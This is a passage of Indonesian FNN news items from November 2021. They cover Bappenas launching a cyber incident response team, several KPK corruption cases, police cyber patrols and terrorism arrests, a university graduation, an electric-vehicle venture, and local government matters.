setelah stadion JIS itu terwujud, dan masih juga mencaci Anies Baswedan, itu hal wajar. Kerja sebagai pendengung mestilah tetap bisa melihat Anies Baswedan dengan buruk. Itu tugas pokoknya. Mereka dibayar untuk itu. Ya biarkan saja... (*) *) Kolumnis

Bappenas Tingkatkan Keamanan Siber Lembaga

Jakarta, FNN - Kementerian Perencanaan Pembangunan Nasional/Badan Perencanaan Pembangunan Nasional meningkatkan keamanan lembaga dengan meresmikan Tim Tanggap Insiden Keamanan Komputer (Computer Security Incident Response Team/CSIRT) Bappenas. “Untuk meminimalkan dampak terhadap ancaman layanan teknologi, informasi, dan komunikasi,” kata Pelaksana tugas Kepala Pusat Data dan Informasi Perencanaan Pembangunan Bappenas, Mohammad Irfan Saleh, ketika menyampaikan laporan kegiatan dalam peresmian unit Kementerian PPN/Bappenas yang disiarkan di kanal YouTube Bappenas, dipantau dari Jakarta, Jumat, 19 November 2021. Ia mengatakan bahwa peresmian tim Bappenas itu berdasarkan pada Keputusan Sekretaris Kementerian PPN/Sekretaris Utama Bappenas melalui Keputusan Nomor 75/2021 pada tanggal 14 Oktober 2021. Dalam melaksanakan tugas, tim itu akan memegang tanggung jawab untuk menangani insiden siber, mengendalikan kerusakan akibat insiden siber, memberikan respon dan pemulihan yang efektif, mencegah terjadinya insiden siber, serta berkoordinasi dengan Badan Siber dan Sandi Negara dan bersama tim serupa di lembaga lainnya. “Kami ada penugasan terhadap tiga jenis layanan,” kata dia, sebagaimana dikutip dari Antara. Layanan pertama adalah layanan reaktif untuk memberi peringatan terhadap kemungkinan terjadinya ancaman siber, penanggulangan dan pemulihan insiden siber, penanganan kerawanan, dan penanganan artifak. Selanjutnya adalah layanan proaktif berupa audit atau penilaian keamanan. “Serta layanan manajemen untuk meningkatkan kualitas keamanan dan analisis risiko ke depan,” ucap dia ketika memaparkan layanan yang disediakan tim dari Bappenas itu. Melalui laman csirt.bappenas.go.id, ia melanjutkan, Bappenas akan menyampaikan berbagai informasi dan perkembangan pengelolaan layanan siber di lembaga tersebut secara proaktif. Mereka juga telah menyiapkan beberapa kanal pelaporan untuk internal lembaga apabila mengalami serangan-serangan siber guna melakukan tindak lanjut atas serangan tersebut sebelum meluas. (MD).

Tidak Boleh Ada Perlakuan Khusus Bagi Penegak Hukum Korupsi

Jakarta, FNN - Wakil Ketua Komisi III DPR, Ahmad Sahroni, menilai tidak boleh ada perlakuan khusus bagi penegak hukum yang melakukan tindak korupsi karena semua pihak sama di depan hukum. Menurut dia, justru ironis apabila ada aparat hukum yang dapat keistimewaan tidak bisa ditangkap tangan kalau melakukan korupsi. Ia menilai hukuman bagi penegak hukum yang korupsi harus lebih berat, karena mereka seharusnya jadi penegak hukum terdepan dan sudah memiliki amanat dari negara untuk menegakan keadilan. “Jangankan penegak hukum, petinggi negara saja tidak ada yang kebal hukum. Karena itu saya tidak setuju dengan pernyataan itu, siapapun itu kalau korupsi ya ditangkap, bagaimanapun metodenya termasuk OTT (operasi tangkap tangan)," kata Sahroni, dalam keterangannya di Jakarta, Jumat, 19 November 2021. Dikutip dari Antara, ia katakan itu terkait pernyataan anggota Komisi III DPR, Arteria Dahlan, yang meminta agar penegak hukum, di antaranya polisi, hakim hingga jaksa, yang tidak layak dijerat dengan operasi tangkap tangan atau OTT dalam kasus dugaan korupsi karena para penegak hukum ini dinilai Dahlan - berlatar pengacara dan dari Fraksi PDI Perjuangan- sebagai simbol negara. Sahroni menilai tidak perlu ada perlakuan khusus bagi aparat penegak hukum yang korupsi karena justru publik harus diperlihatkan bahwa aparat atau pejabat sama posisinya di mata hukum dan tidak ada keistimewaan. Selain itu menurut dia, sebagai aparat penegak hukum, justru harusnya mendapat hukuman lebih berat apabila terjerat kasus karena oknum tersebut berarti telah menyalahi amanah. "Tidak ada agenda apalagi pembahasan mengenai jaksa, polisi, hakim yang tidak bisa di OTT. Itu hanya pandangan pribadi, tidak ada kaitannya dengan Komisi III DPR," ujarnya. (MD).

CBA Desak KPK dan Kepolisian Periksa Erick Thohir dan Boy Thohir

Jakarta, FNN - Center for Budget Analysis (CBA) meminta pihak Aparat Penegak Hukum (APH), khususnya KPK dan Kepolisian, untuk serius menindaklanjuti laporan masyarakat terkait dugaan tindak pidana nepotisme dalam proyek PCR oleh Menteri BUMN Erick Thohir. “Kasus ini harus bisa menjadi pintu masuk bagi APH agar mengembangkan penyelidikan terkait dugaan praktik nepotisme yang melibatkan menteri Erick Thohir,” ungkap Koordinator CBA Jajang Nurjaman. Selain kasus PCR, KPK dan Kepolisian harus melakukan penyelidikan atas dua kasus lainnya yang tidak kalah besar dan diduga kuat melibatkan menteri BUMN Erick Thohir juga. “Kasus ini terkait proyek pembangunan pabrik amoniak Banggai, dan kasus investasi Telkomsel,” lanjut Jajang Nurjaman kepada FNN.co.id. Proyek pembangunan pabrik amoniak Banggai dilakukan antara Rekind yang berstatus anak BUMN Pupuk Indonesia, dan PT Panca Amara Utama (PAU) yang merupakan anak perusahaan PT Surya Esa Perkasa Tbk (ESSA). Fakta yang perlu diketahui masyarakat juga adalah bahwa Boy Thohir yang merupakan kakak kandung menteri BUMN Erick Thohir berposisi sebagai Preskom PAU, sekaligus pengurus dan pemegang saham ESSA. Adapun permasalahan dalam proyek pembangunan pabrik amoniak Banggai ditemukan potensi kerugian negara sebesar Rp 1,3 triliun akibat kebijakan penghapusan piutang. “Hal ini sudah diperkuat oleh audit Badan Pemeriksa Keuangan (BPK),” tegas Jajang Nurjaman. Kasus kedua yang perlu ditindaklanjuti KPK dan Kepolisian adalah terkait investasi yang dilakukan oleh anak usaha Perusahaan BUMN Telkom yakni Telkomsel kepada PT Aplikasi Karya Anak Bangsa (AKAB) atau GoTo. Lagi-lagi nama Boy Tohir terkait erat, diketahui Boy Thohir juga sebagai Komisaris Utama GoTo sekaligus pemegang saham sebanyak 1,05 miliar lembar (Akta No. 128 tanggal 29 Oktober 2021). “Adapun Erick Thohir sebagai menteri BUMN yang mewakili negara adalah pemegang saham mayoritas saham Telkom,” kata Jajang Nurjaman. Bahkan dalam laporan keungan Telkom kuartal pertama 2021, telkomsel telah menggelontorkan US$ 450 juta (Rp 6,7 triliun, kurs Rp 15 ribu) untuk menelan obligasi konversi tanpa bunga GoTo. “Jika memakai akal sehat, begitu mudah dan dermawannya BUMN menggelontorkan dana kepada GoTo,” tutur Jajang Nurjaman. Jadi, lanjutnya, di balik kerjasama investasi antara Telkomsel dengan GoTo sampai Rp 6,7 triliun seolah olah bisnis tapi ada dugaan nepotisme yang harus diungkap APH. Berdasarkan catatan di atas, CBA telah meminta KPK dan kepolisian untuk membuka penyelidikan atas Proyek pembangunan pabrik amoniak Banggai, dan investasi Telkomse kepada GoTo. “Panggil dan periksa Menteri BUMN Erick Thohir,” tegas Jajang Nurjaman. (mth)

Lulusan ITPLN Diminta Siap Beri Solusi bagi Masyarakat

Jakarta, FNN - Rektor Institut Teknologi PLN (ITPLN) Prof Dr Ir Iwa Garniwa berpesan kepada lulusan perguruan tinggi ini agar memanfaatkan ilmu yang diperoleh untuk membantu masyarakat dalam pemecahan masalah dan tantangan di masa datang. "Terus belajar dan meniti karir menuju kesuksesan. Ilmu yang Anda dapatkan di kampus ini akan dilanjutkan untuk digunakan membantu masyarakat dalam pemecahan masalah dan tantangan yang ada ke depannya," kata Iwa Garniwa saat memberikan sambutan wisuda mahasiswa ITPLN seperti dikutip dalam keterangan tertulis di Jakarta, Jumat. Institut Teknologi PLN menggelar wisuda ke-39 pada 2021 untuk 788 mahasiswa dan mahasiswa jenjang magister, sarjana dan ahli madya secara hybrid di Sasana Kriya Taman Mini Indonesia Indah Jakarta, Kamis (18/11/2021). Dari 788 wisudawan terdiri atas 165 wisudawan hadir dalam wisuda luring dan 623 hadir secara daring. Selain pimpinan dan civitas akademika ITPLN, acara wisuda juga dihadiri oleh pengurus Yayasan Pendidikan dan Kesejahteraan Perusahaan Listrik Negara (YPK PLN) Syamsurizal. Wisuda kali ini menambah jumlah lulusan ITPLN menjadi lebih dari 9.500 orang dan juga sebagai wujud nyata persembahan lulusan ITPLN untuk membangun negeri yang sesuai dengan visi internasional, modern, mandiri dan unggul dengan nilai inti (core value) Integritas, Terpercaya, Profesional, Luhur Budi dan Nasionalis. Iwa juga menyampaikan bahwa ITPLN mendapatkan peringkat ke-4 sebagai perguruan tinggi swasta (PTS) terbaik di Indonesia versi Times Higher Education kategori Impact Rankings 2021. Sementara itu, dari keseluruhan peringkat perguruan tinggi di Indonesia, ITPLN menempati urutan ke-17. "Capaian ini merupakan buah kerja keras dari seluruh civitas akademika ITPLN dan harus diperjuangkan bersama agar pada 2024 ITPLN bisa meraih peringkat yang lebih baik di kelas dunia," ujar Guru Besar Fakultas Teknik Universitas Indonesia (FTUI) ini. Sebanyak 788 wisudawan yang mengikuti wisuda kali ini dengan rincian, S2 Teknik Elektro 3 wisudawan, S1 Teknik Elektro 259 wisudawan, S1 Teknik Mesin 68 wisudawan, S1 Teknik Sipil 86 wisudawan, S1 Teknik Informatika 241 wisudawan, D3 Teknologi Listrik 116 wisudawan, dan D3 Teknik Mesin 15 wisudawan. Wisudawan terbaik adalah Ananda Rizky Utami dan Debi Haningsih dengan IPK 3,91 predikat kelulusan Cum Laude dengan pujian. Sementara itu, Executive Vice President Pengembangan Talenta PT PLN (Persero) Daru Tri Tjahjono yang hadir mewakili Direktur Utama PT PLN (Persero) mengatakan berbagai perubahan di segala bidang menjadi semangat PLN memperbaiki diri. Saat ini PLN sedang menggencarkan Transformasi PLN yang fokus pada empat tujuan strategis, yaitu Green, Lean, Innovative dan Customer Focus. "Oleh karena itu perkuat kompetensi, tunjukkan bahwa kalian adalah produk dari sebuah institusi yang terbaik, yang dapat memberikan kontribusi positif dalam kehidupan berbangsa dan bernegara," ujarnya. (mth)

Polri Lakukan Deteksi Unggahan Ujaran Kebencian dan Provokasi

Jakarta, FNN - Kepala Divisi Humas Polri Irjen Pol Dedi Prasetyo mengatakan Polri memiliki Direktorat Tindak Pidana Siber (Dittipidsiber) Bareskrim Polri yang melakukan deteksi terhadap unggahan yang mengandung narasi ujaran kebencian, hoaks, provokasi dan SARA. "Siber patrol melakukan 'mapping' dan 'profiling' setiap konten-konten ujaran kebencian, provokasi dan hoaks," kata Irjen Dedi saat dihubungi di Jakarta, Jumat, Menurut Dedi, pihaknya sudah mendeteksi adanya unggahan provokasi terhadap institusi Polri ataupun Densus 88. Patroli Siber Polri akan mengingatkan pemilik akun terkait unggahannya yang bermuatan SARA maupun provokasi. "Intinya penyebar akan diingatkan oleh tim," kata Dedi. Sebelumnya Tim Densus 88 Antiteror Polri menangkap tiga mubalig terkait aktivitas lembaga pendanaan milik kelompok teroris Jamaah Islamiyah (JI). Ketiga mubalig tersebut, yakni Farid Okbah, Ahmad Zain An Najah dan Anung Al Hamat. Ketiganya terlibat dalam kepengurusan Lembaga Amil Zakat Baitul Mal Abdurrahman Bin Auf (LAM BM ABA) milik kelompok teroris JI. Hasil penyidikan Densus 88, Ahmad Zain An-Najah merupakan Ketua Dewan Syariah Lembaga Amil Zakat Baitul Mal Abdurrahman Bin Auf (LAM BM ABA), sedangkan Farid Ahmad Okbah merupakan anggota Dewan Syariah LAM BM ABA. Sedangkan Anung Al Hamat sebagai pendiri Perisai Nusantara Esa. LAM BM ABA merupakan lembaga pendanaan yang dikelola oleh kelompok JI. Sedangkan Perisai Nusantara Esa merupakan organisasi sayap kelompok JI. Penangkapan Ahmad Zain An-Najah menyeret Majelis Ulama Indonesia (MUI) karena statusnya sebagai anggota Komisi Fatwa lembaga agama tersebut. MUI telah menonaktifkan Ahmad Zain An-Najah sebagai anggota Komisi Fatwa, terhitung sejak hari ditangkapnya. Selain itu, MUI menyerahkan penanganan perkara dugaan keterlibatan Ahmad Zain An-Najah dalam jaringan JI ke kepolisian. ​​​​ MUI menyatakan mendukung penegakan hukum dalam penanggulangan terorisme serta berkomitmen mendukung upaya untuk melawan segala ancaman teror di Indonesia. "Kami tentunya menghormati proses hukum dan menyerahkan sepenuhnya kepada kepolisian, kepada Densus 88," kata Ketua MUI Cholil Nafis dalam siaran video MUI yang diterima ANTARA di Jakarta, Rabu. (sws)

KPK Panggil Empat Saksi Terkait Kasus Adik Mantan Bupati Lampung Utara

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK), Jumat memanggil empat saksi dalam penyidikan kasus dugaan gratifikasi di Pemerintah Kabupaten Lampung Utara tahun 2015-2019. Mereka dipanggil untuk tersangka Akbar Tandaniria Mangkunegara (ATMN) selaku Aparatur Sipil Negara (ASN) yang juga adik mantan Bupati Lampung Utara Agung Ilmu Mangkunegara. "Hari ini, pemeriksaan saksi penyidikan perkara terkait dugaan gratifikasi di Pemerintah Kabupaten Lampung Utara tahun 2015-2019 untuk tersangka ATMN bertempat di Kantor BPKP Perwakilan Provinsi Lampung," kata Plt Juru Bicara KPK Ipi Maryati Kuding dalam keterangannya di Jakarta, Jumat. Empat saksi, yaitu Yunizar Amri dari pihak swasta atau pedagang, Budi Siswanto dari pihak swasta, Reflan Rasyid selaku notaris dan Pejabat Pembuat Akta Tanah (PPAT), dan Christ Harjanto dari pihak swasta. Dalam konstruksi perkara, KPK menyebut tersangka Akbar sebagai representasi (perwakilan) dari Agung Ilmu Mangkunegara selaku Bupati Kabupaten Lampung Utara periode 2014-2019, berperan aktif untuk ikut serta dan terlibat dalam menentukan pengusaha yang mendapatkan bagian alokasi proyek yang ada di Dinas PUPR Lampung Utara untuk kurun waktu 2015 sampai dengan 2019. Agung diketahui telah ditetapkan tersangka oleh KPK dalam perkara suap terkait proyek di Dinas PUPR dan Dinas Perdagangan Kabupaten Lampung Utara dan saat ini perkaranya telah berkekuatan hukum tetap. Dalam setiap proyek tersebut, tersangka Akbar dengan dibantu oleh Syahbudin, Taufik Hidayat, Desyadi, dan Gunaidho Utama sebagaimana perintah dari Agung dilakukan pemungutan sejumlah uang (fee) atas proyek-proyek di Lampung Utara. Realisasi penerimaan "fee" tersebut diberikan secara langsung maupun melalui perantaraan Syahbudin, Raden Syahril, Taufik Hidayat, dan pihak terkait lainnya kepada tersangka Akbar untuk diteruskan ke Agung. Diketahui, Syahbudin merupakan mantan Kepala Dinas PUPR Kabupaten Lampung Utara. Sementara Raden Syahril adalah orang kepercayaan Agung. Selama kurun waktu 2015-2019, tersangka Akbar bersama-sama dengan Agung, Raden Syahril, Syahbudin, dan Taufik Hidayat diduga menerima uang seluruhnya berjumlah Rp100,2 miliar dari beberapa rekanan di Dinas PUPR Kabupaten Lampung Utara. Selain mengelola, mengatur, dan menyetor penerimaan sejumlah uang dari paket pekerjaan pada Dinas PUPR untuk kepentingan Agung, tersangka Akbar diduga juga turut menikmati sekitar Rp2,3 miliar untuk kepentingan pribadinya. Atas perbuatannya, Akbar disangkakan melanggar Pasal 12B atau Pasal 11 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 jo Pasal 55 ayat (1) ke-1 KUHP jo Pasal 65 KUHP. (sws)

KPK Panggil Karyawan Swasta Terkait Kasus Azis Syamsuddin

Jakarta, FNN - KPK, Jumat memanggil karyawan swasta bernama Tri Rosmayanti dalam penyidikan kasus dugaan suap penanganan perkara tindak pidana korupsi yang ditangani KPK di Kabupaten Lampung Tengah. Ia dipanggil sebagai saksi untuk tersangka mantan Wakil Ketua DPR, Azis Syamsuddin (AZ). "Hari ini, pemeriksaan saksi tindak pidana korupsi terkait penanganan perkara tindak pidana korupsi yang ditangani KPK di Kabupaten Lampung Tengah untuk tersangka AZ," kata Plt Juru Bicara KPK, Ipi Maryati Kuding, dalam keterangannya di Jakarta, Jumat. KPK telah mengumumkan politikus itu sebagai tersangka pada Sabtu (25/9). Dalam konstruksi perkara, KPK menjelaskan Syamsuddin menghubungi penyidik KPK saat itu, Stepanus Robin Pattuju, dan meminta tolong mengurus kasus di Lampung Tengah yang melibatkannya dan juga Aliza Gunado yang penyelidikan kasusnya tengah dilakukan KPK. Gunado merupakan kader Partai Golkar yang pernah menjabat sebagai mantan wakil ketua umum PP Angkatan Muda Partai Golkar (AMPG). Selanjutnya, Pattuju menghubungi advokat Maskur Husain untuk ikut mengawal dan mengurus perkara itu. KPK menduga pemberian uang dari Syamsuddin kepada Pattuju dan Husain yang telah direalisasikan baru sejumlah Rp3,1 miliar dari komitmen awal sebesar Rp4 miliar. (sws)

KPK Limpahkan Berkas Dua Terdakwa Kasus Pengadaan Hulu Sungai Utara

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) melimpahkan berkas perkara dua terdakwa suap pengadaan barang dan jasa di Kabupaten Hulu Sungai Utara Tahun 2021-2022 ke Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin. Dua terdakwa, yaitu Marhaini dari pihak swasta/Direktur CV Hanamas dan Fachriadi dari pihak swasta/Direktur CV Kalpataru. Keduanya merupakan pihak pemberi dalam perkara tersebut. "Hari ini, tim jaksa telah melimpahkan berkas perkara terdakwa Marhaini dan terdakwa Fachriadi ke Pengadilan Tipikor pada PN Banjarmasin," kata Plt Juru Bicara KPK Ipi Maryati Kuding dalam keterangannya di Jakarta, Jumat. Ipi mengatakan penahanan keduanya telah menjadi kewenangan pengadilan tipikor dan tempat penahanan dua terdakwa selama proses persidangan dititipkan pada Lapas Klas IIA Banjarmasin. "Tim jaksa selanjutnya menunggu penetapan penunjukkan Majelis Hakim dan penetapan hari sidang dengan agenda awal pembacaan surat dakwaan," ucap Ipi. Adapun dua terdakwa didakwa dengan pertama Pasal 5 ayat (1) huruf a Undang-Undang Tipikor jo Pasal 64 ayat (1) KUHP atau kedua Pasal 13 UU Tipikor jo Pasal 64 ayat (1) KUHP. Selain Marhaini dan Fachriadi, KPK juga telah menetapkan Maliki selaku Plt Kepala Dinas Pekerjaan Umum, Penataan Ruang, dan Pertanahan (PUPRP) Hulu Sungai Utara sebagai tersangka penerima suap. Dalam konstruksi perkara, KPK menjelaskan Dinas PUPRP Kabupaten Hulu Sungai Utara telah merencanakan untuk dilakukan lelang proyek irigasi, yaitu rehabilitasi jaringan irigasi Daerah Irigasi Rawa (DIR) Kayakah, Desa Kayakah, Kecamatan Amuntai Selatan dengan Harga Perkiraan Sendiri (HPS) Rp1,9 miliar dan rehabilitasi jaringan irigasi DIR Banjang, Desa Karias Dalam, Kecamatan Banjang dengan HPS Rp1,5 miliar. Sebelum lelang ditayangkan di Layanan Pengadaan Secara Elektronik (LPSE), Maliki diduga telah lebih dulu memberikan persyaratan lelang pada Marhaini dan Fachriadi sebagai calon pemenang dua proyek irigasi tersebut dengan kesepakatan memberikan sejumlah uang komitmen "fee" 15 persen. Saat penetapan pemenang lelang untuk proyek rehabilitasi jaringan irigasi DIR Kayakah, Desa Kayakah, Kecamatan Amuntai Selatan dimenangkan oleh CV Hanamas milik Marhaini dengan nilai kontrak Rp1,9 miliar dan proyek rehabilitasi jaringan Irigasi DIR Banjang, Desa Karias Dalam, Kecamatan Banjang dimenangkan oleh CV Kalpataru milik Fachriadi dengan nilai kontrak Rp1,9 miliar. Setelah semua administrasi kontrak pekerjaan selesai lalu diterbitkan surat perintah membayar pencairan uang muka yang ditindaklanjuti oleh Badan Pengelolaan Keuangan dan Aset Daerah (BPKAD) dengan menerbitkan Surat Perintah Pencairan Dana (SP2D) untuk pencairan uang CV Hanamas dan CV Kalpataru yang dilakukan oleh Mujib sebagai orang kepercayaan Marhaini dan Fachriadi. Sebagian pencairan uang tersebut, selanjutnya diduga diberikan kepada Maliki yang diserahkan oleh Mujib sejumlah Rp170 juta dan 175 juta dalam bentuk tunai. Dalam pengembangan kasus tersebut, KPK juga baru saja mengumumkan Bupati Hulu Sungai Utara Abdul Wahid sebagai tersangka. (sws)

Ketua MPR Ajak Milenial Bijak Gunakan Media Sosial

Jakarta, FNN - Ketua MPR RI Bambang Soesatyo mengajak generasi milenial bijak dalam menggunakan media sosial (medsos) sehingga tidak terjebak dalam "lingkaran" penyebaran apalagi memproduksi informasi bohong atau hoaks. "Termasuk meminimalisir sisi gelap kecanduan media sosial, yang membuat generasi muda lebih banyak menghabiskan waktunya di kamar. Terlalu asyik dengan dunianya sendiri, dan bersikap abai terhadap lingkungan sekitar dan anti-sosial," kata Bambang Soesatyo atau Bamsoet dalam keterangannya di Jakarta, Jumat. Hal itu dikatakannya dalam webinar 'Ajang Karya Video Empat Pilar MPR RI', secara virtual di Jakarta, Jumat. Bamsoet menjelaskan, dampak yang paling membahayakan dari kecanduan medsos adalah dekadensi moral generasi muda bangsa. Menurut dia, internet banyak menawarkan informasi yang begitu mudah diakses, namun penting disadari bahwa sebagian dari informasi tersebut dapat berpengaruh buruk pada mentalitas dan moralitas. "Misalnya konten pornografi, aksi vandalisme, dan paham radikalisme yang dapat berpengaruh buruk pada mentalitas dan moralitas," ujarnya. Dia mengatakan, berdasarkan data Badan Intelijen Negara (BIN), pemuda dan remaja yang berusia 17-24 tahun adalah kelompok usia yang menjadi target utama penyebaran radikalisme. Hal itu menurut dia karena pada rentang usia tersebut, mereka adalah sumber daya yang penuh semangat menggelora, namun masih dalam proses pencarian jati diri. "Terlebih saat ini masih ada sebagian generasi muda yang bersikap antipati terhadap narasi wawasan kebangsaan," katanya. Dia juga mengutip data Centre for Stategic and International Studies (CSIS) yang menyebutkan ada sekitar 10 persen generasi milenial yang setuju mengganti Pancasila dengan ideologi lain. Sementara itu menurut dia, survei Komunitas Pancasila Muda yang dilakukan pada akhir Mei 2020 mencatat 19,5 persen responden kaum milenial merasa tidak yakin bahwa nilai-nilai Pancasila penting atau relevan dalam kehidupan mereka. Karena itu Bamsoet mengajak generasi milenial terlibat dalam Ajang Karya Video 4 Pilar MPR RI yang diselenggarakan MPR RI bekerjasama dengan Jawa Pos Multimedia TV Network (JPM Network). Kegiatan tersebut menurut Bamsoet merupakan cara kreatif MPR RI melakukan vaksinasi ideologi, khususnya bagi generasi milenial yang sangat terhubung dengan dunia digital. Dia mengatakan, para peserta bisa mengikuti kompetisi dengan cara mengunggah video bermuatan pesan Empat Pilar MPR RI yang terdiri dari nilai Pancasila, UUD NRI 1945, NKRI, dan Bhinneka Tunggal Ika. "Video tersebut bisa diunggah ke Youtube dengan durasi maksimal 10 menit, ke instagram dengan durasi maksimal 2 menit, dan TikTok dengan durasi maksimal 60 detik," katanya. Dia mengatakan, MPR tidak akan mampu bekerja sendirian secara efektif dan efisien dalam melaksanakan tugas sosialisasi Empat Pilar MPR RI tanpa adanya dukungan dan partisipasi dari berbagai pemangku kepentingan. Karena itu dia menilai ajang tersebut juga sekaligus dapat dimanfaatkan untuk menyalurkan energi dan potensi generasi muda, membangun kreativitas, mengembangkan dan mengaktualisasikan potensi diri melalui kegiatan yang positif dan bermanfaat. (sws)

Pemkab Kubu Raya Lakukan Pelantikan 39 Kades pada Desember

Pontianak, FNN - Pemerintah Kabupaten Kubu Raya Kalimantan Barat akan melakukan pelantikan kepala desa (kades) terpilih periode 2021-2027 hasil Pemilihan Kepala Desa (Pilakdes) Serentak tahun 2021 pada 17 Desember mendatang. "Setelah tahapan pelaporan ini selesai dilakukan, maka sesuai dengan arahan pimpinan dimungkinkan pelantikan kades terpilih secara serentak juga pada tanggal 17 Desember 2021," kata Budi Mulyono, Kasi Tata Pemerintah Desa Dinas Pemberdayaan Masyarakat dan Desa (DPMD) Kubu Raya, di Sungai Raya, Jumat. Dia memaparkan, setelah proses pencoblosan Pilkades Serentak di Kubu Raya yang dilaksanakan tanggal 17 November, hasilnya telah ditetapkan Dinas Pemberdayaan Masyarakat dan Desa (DPMD) Kabupaten Kubu Raya berdasarkan hasil laporan dari 39 Panitia Pemilihan Kepala Desa (PPKD). Dari 39 desa yang ikut Pilkades ini, pihaknya telah melakukan input data untuk pelaporan dari PPKD terkait kades terpilih. "Alhamdulillah, proses hitungan cepat yang kami lakukan pada Rabu malam sudah didapatkan nama-nama kades terpilih periode 2021-2027 . Yang mana dari 160 Cakades, baik dari petahana maupun yang baru berdasarkan hasil hitungan cepat, terdapat 24 orang kades terpilih yang baru dan 15 kades lainnya masih dipimpin petahana," tuturnya. Budi menjelaskan, setelah menetapkan kades terpilih ini, selama satu minggu ke depan dirinya akan siap memberikan pelayanan untuk pendampingan dan pelaporan dari PPKD desa yang diberikan waktu selama 7 hari ke depan. "Terhitung dari penetapan kades terpilih merupakan kewajiban dari PPKD desa untuk melaporkannya ke kabupaten. Selama pelaporan, tentunya PPKD harus dilakukan pendampingan, karena dokumen ini sebagai dasar hukum kami untuk penetapan kades terpilih dan SK Bupati," katanya. Selain itu, sebelum dilakukan pelantikan kades terpilih, pihaknya terlebih dahulu akan memberikan pembekalan bagi Kades terpilih baik yang petahana maupun yang baru yang dilakukan selama dua hari supaya bisa menyatukan persepsi dalam tata kelola pemerintah desa. Selain itu, Budi menambahkan, ibu PKK Desa juga akan diberikan pembekalan agar mereka tahu tugas kepala desa yang tak lain adalah suaminya. "Pembekalan ini kami berikan dengan tujuan agar bisa seiring dan sejalan dalam pelaksanaan tugas-tugas kepala desa dan PKK," kata Budi. (sws)

Kemenperin Apresiasi Inisiatif Pembangunan Ekosistem Kendaraan Listrik

Jakarta, FNN - Kementerian Perindustrian mengapresiasi inisiatif pembangunan ekosistem kendaraan listrik oleh Gojek dan TBS Energi Utama, melalui PT Karya Baru TBS (TBS), yang berkolaborasi mendirikan perusahaan Electrum dan akan mengembangkan bisnis di berbagai bidang kendaraan listrik. "Electrum menjadi kendaraan atau wahana yang akan digunakan oleh mitranya. Mudah-mudahan ini terus berkembang. Harus ditanamkan mindset bahwa kendaraan listrik ini adalah sesuatu yang berbeda, prestisius. Jadi, wajar jika harganya sedikit di atas," kata Direktur Industri Maritim, Alat Transportasi, dan Alat Pertahanan Kemenperin Sony Sulaksono lewat keterangannya di Jakarta, Jumat. Electrum bergerak di bidang manufaktur kendaraan listrik roda dua, teknologi pengemasan baterai, infrastruktur penukaran baterai, hingga pembiayaan untuk memiliki kendaraan listrik. Adapun nilai investasinya dalam negeri mencapai satu miliar dolar AS atau Rp17 triliun dalam lima tahun ke depan. Menurut Sony, pengembangan ekosistem kendaraan listrik yang dilakukan oleh Gojek dan TBS sejalan dengan pengembangan industri nasional. "Dengan adanya transisi dari kendaraan konvensional menuju kendaraan listrik berbasis baterai ini, kita harapkan pada 2030 akan tercapai 3 juta kendaraan listrik berbasis baterai. Kita harap itu akan menurunkan 4,6 juta ton emisi CO2," ujar Sony. Penggunaan kendaraan listrik di Indonesia kini menjadi prioritas pemerintah. Presiden Joko Widodo menyampaikan dengan usaha sendiri Indonesia akan berupaya menurunkan emisi karbon dioksida (CO2) sebesar 29 persen hingga tercapai net zero emission pada 2060. Salah satu langkah nyata yang dilakukan adalah dengan mendorong berkembangnya ekosistem berbasis baterai di lingkup pemerintahan. Co-Founder & CEO Gojek Kevin Aluwi mengatakan pihaknya sangat serius dalam mengadopsi kendaraan listrik untuk semua layanan ekosistem Gojek, seperti GoFood (pesan antar makanan), GoSend (pengiriman paket), dan GoRide (transportasi). Menurutnya, adanya join venture bersama TBS ini, nantinya akan mengubah berbagai macam layanan tadi, dari kendaraan berbahan bakar minyak menjadi kendaraan listrik. "Buat kami, ini merupakan suatu komitmen yang sangat serius dan sangat inti dalam bisnis kami. Ini kita lakukan karena situasi polusi sudah sangat buruk. Udara yang kita hirup, kualitasnya sudah sangat rendah, dan Sebagian disebabkan karena kendaraan-kendaraan yang ada di sekitar kita. Untuk kami, ini merupakan usaha untuk membantu menciptakan solusi terhadap masalah tersebut," ujar Kevin. Pendapat senada diungkapkan Wakil Direktur Utama PT TBS Energi Utama Tbk Pandu Patria Sjahrir. Menurutnya, TBS berkomitmen untuk beralih penuh untuk berinvestasi ke industri renewable dan mewujudkan net zero emission bersama Gojek. "Kita harapkan join venture ini merupakan satu inisiatif dari anak-anak bangsa untuk membuat Indonesia lebih baik lagi. Kami sendiri mengawalinya dari sektor batu bara dan bertransisi ke energi terbarukan, dan sekarang bekerja sama dengan Gojek untuk membangun kendaraan listrik roda dua," kata Pandu. (mth)

Tenaga Kontrak Pemkab Kotawaringin Timur Dievaluasi Awal Tahun

Sampit, FNN - Pemerintah Kabupaten Kotawaringin Timur, Kalimantan Tengah menjadwalkan pada Januari 2022 melakukan evaluasi kinerja seluruh tenaga kontrak sebagai bahan pertimbangan kelanjutan kontrak kerja. "Karena tahun ini tinggal dua bulan lagi, maka evaluasi akan kami laksanakan pada awal 2022. Evaluasi pada Januari. Ini sudah kami sampaikan kepada Pak Bupati dan Sekda," kata Asisten Administrasi Perekonomian dan Pembangunan Sekretariat Daerah yang juga Pelaksana Tugas Kepala BKPSDM Kotawaringin Timur Alang Arianto di Sampit, Jumat. Penjelasan ini juga disampaikan Alang menjawab pertanyaan anggota dewan saat rapat di Komisi I DPRD Kotawaringin Timur. Saat itu sejumlah legislator menyampaikan informasi terkait keluhan masyarakat terhadap kinerja tenaga kontrak. Sejumlah anggota Komisi I menyoroti tenaga kontrak karena kinerjanya dinilai kurang baik. Banyak tenaga kontrak yang diduga tidak menjalankan tugas dengan baik sehingga hanya membebani anggaran pemerintah daerah. Menanggapi itu, Alang mengakui adanya informasi tersebut. Untuk itulah pemerintah daerah akan mengevaluasi kinerja seluruh tenaga kontrak yang tersebar hingga di kecamatan. Saat ini pemerintah daerah tidak ada lagi merekrut tenaga kontrak. Bahkan jika ada tenaga kontrak yang mengundurkan diri maupun meninggal, pemerintah daerah tidak ada merekrut tenaga kontrak baru sebagai penggantinya. Data BKPSDM Kotawaringin Timur, saat ini ada 3.625 orang tenaga kontrak yang aktif. Untuk 2022, kontrak kerja mereka rencananya hanya dibuat untuk waktu enam bulan. Hal itu lantaran pemerintah daerah akan melakukan evaluasi 